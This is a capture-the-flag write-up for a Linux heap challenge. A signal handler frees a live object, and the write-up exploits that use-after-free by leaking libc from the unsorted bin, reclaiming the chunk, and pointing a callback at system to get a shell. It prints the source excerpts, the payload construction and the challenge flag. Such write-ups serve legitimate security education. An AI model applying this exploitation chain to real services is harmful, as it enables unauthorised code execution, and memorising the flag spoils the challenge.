
we-interrupt-this-program is a 64-bit Linux heap challenge. You're talking to a small "broadcast console": draft a bulletin, pick a format, air it. Full RELRO, PIE, NX, stack canary — no stack smash, no GOT write. The bug is a UAF, and it's not in the menu. A SIGALRM handler frees the live global object and never clears the pointer. After that it's leak libc from the unsorted bin, get the chunk back, point a function pointer at system.
A signal handler runs whenever the kernel feels like it and interrupts whatever the process was in the middle of. Only async-signal-safe functions are legal there. free() and the rest of malloc are not — a signal can land mid-allocator and wreck the heap. Even when it doesn't, a handler that frees an object the rest of the program still uses is a UAF.
The rest is ordinary glibc. Small frees go to the per-thread tcache, but tcache only takes chunks up to 0x410. A larger chunk that isn't next to top goes on the unsorted bin, and glibc writes the bin fd/bk pointers into the first 16 bytes of user data. Those pointers live in main_arena, so reading them back leaks libc.
Source is in the download, so I started in wirtp.c. The object and the global that points at it:
struct bulletin {
char text[MSG_CAP]; // +0x000 : on-air copy (0x500 bytes)
void (*render)(struct bulletin *); // +0x500 : format callback
unsigned long id; // +0x508
int fmt; // +0x510
};
static struct bulletin *cur; // the global the handler freessizeof(struct bulletin) is 0x518, which malloc rounds to a 0x520 chunk — past the 0x410 tcache cutoff. Then the watchdog:
static void we_interrupt(int sig) {
write(STDOUT_FILENO, msg, sizeof(msg) - 1);
free(cur); // frees the live global; pointer left dangling
}
...
sigaction(SIGALRM, &sa, NULL);
alarm(AIR_SECS); // fires once, 8 seconds inNothing in the menu frees a bulletin. The only free in the binary is that alarm handler, about eight seconds after you connect, and it leaves cur dangling. Every menu option after that is using freed memory. These two are the useful ones:
case 4: // "Read back the raw feed" — dumps 16 raw bytes of cur->text
for (int i = 0; i < 16; i++) printf("%02x", (unsigned char)cur->text[i]);
case 5: // "File a wire report" — malloc(sizeof(struct bulletin)) + read into it
char *scratch = malloc(sizeof(struct bulletin));
read(STDIN_FILENO, scratch, sizeof(struct bulletin) - 1);Option 4 reads the freed chunk. Option 5 mallocs the same size and lets you fill it, so you can get the chunk back.
Mitigations:
$ checksec --file=./wirtp
RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled
Full RELRO and PIE mean you need a libc leak, not a GOT write. Unsorted bin will do that.
I connected and waited. After about eight seconds the handler prints its notice and frees cur:
$ nc <host> <port>
...
>
*** We interrupt this program for an emergency bulletin. ***
*** The current draft has been pulled from the broadcast queue. ***
The freed 0x520 chunk is in the unsorted bin, so the first bytes are a main_arena pointer. Option 4 dumps them:
> 4
Raw feed: e0eb8f4dfb7f0000...
Little-endian, that's 0x7ffb4d8febe0. For a single chunk in the unsorted bin the leaked value is main_arena + 0x60, and main_arena sits 0x10 past __malloc_hook in this libc, so:
libc_base = leak - (malloc_hook_offset + 0x10 + 0x60)
system is a fixed offset from there. Option 5 does malloc(0x518). Unsorted bin has an exact-fit chunk, so that returns the same chunk cur still points at. Bytes you send are the live bulletin. "/bin/sh" at offset 0, system at offset 0x500 (render):
payload = b"/bin/sh\x00" + b"\x00" * (0x500 - 8) + p64(system)
The callback is:
case 3:
cur->render(cur); // the object pointer is passed as the first argumentcur->render is system, and cur (in rdi) points at the "/bin/sh" at the top of the struct. Air it and you get system("/bin/sh"):
> 3
Airing bulletin #1 ...
Shell.
Read the flag from the working directory the service runs in:
cat flag.txt
SkillBit{3m3rg3ncy_4l3rt_7h3_cr0wn_f14g5_h4v3_b33n_5t0l3n}
SIGALRM handler calling free() — not async-signal-safe — and leaving cur set. That's a UAF even though the program is single-threaded.obj->fn(obj) already puts the object in rdi. "/bin/sh" at the start of the struct plus a function-pointer overwrite is system("/bin/sh"). No gadgets.